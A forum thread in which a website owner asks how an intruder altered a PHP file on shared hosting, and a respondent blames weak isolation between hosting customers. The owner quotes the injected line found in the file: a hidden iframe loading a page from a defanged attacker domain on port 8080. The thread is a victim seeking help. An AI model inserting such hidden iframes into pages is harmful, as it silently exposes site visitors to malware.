Unauthorised file manipulation

[ac1982]

Can you tell me how can someone edit a php file on the server without having any kind of ftp access? Because someone did this to me and I am trying to find out how he/she did that. I also had my password changed before this happened. Can someone alter a php file using some php code or javascript?

[ac1982]

also I forgot to mention that I found this line at the end of my php file:

< i f r a m e s r c = " h t t p : / / e x a m p l e . r u : 8 0 8 0 / i n d e x . p h p " w i d t h = 1 6 2 h e i g h t = 1 6 1 s t y l e = " v i s i b i l i t y : h i d d e n " > < / i f r a m e >

[edited by: coopster at 12:47 pm (utc) on July 15, 2009]
[edit reason] changed to example domain [/edit]

[janharders]

Many shared hosting companies have weak security against local attacks, that is, if somebody on that server used a script to mess with your files, chances are he can. Of course, it doesn't need to be another customer, they might have their ftp account cracked and the evil guys put up a script to do it.

[ac1982]

hmm I believe you are right. I would try to find a dedicate server instead. tHANK YOU

[janharders]

You're welcome. If you don't need the power a dedicated machine has to offer, a vps / vserver might be an option, it's cheaper and often easier to learn on because resetting it to a working image is usually free and automated.
If you don't want to manage the server yourself, many companies offer managed server packages, where they do all the administration.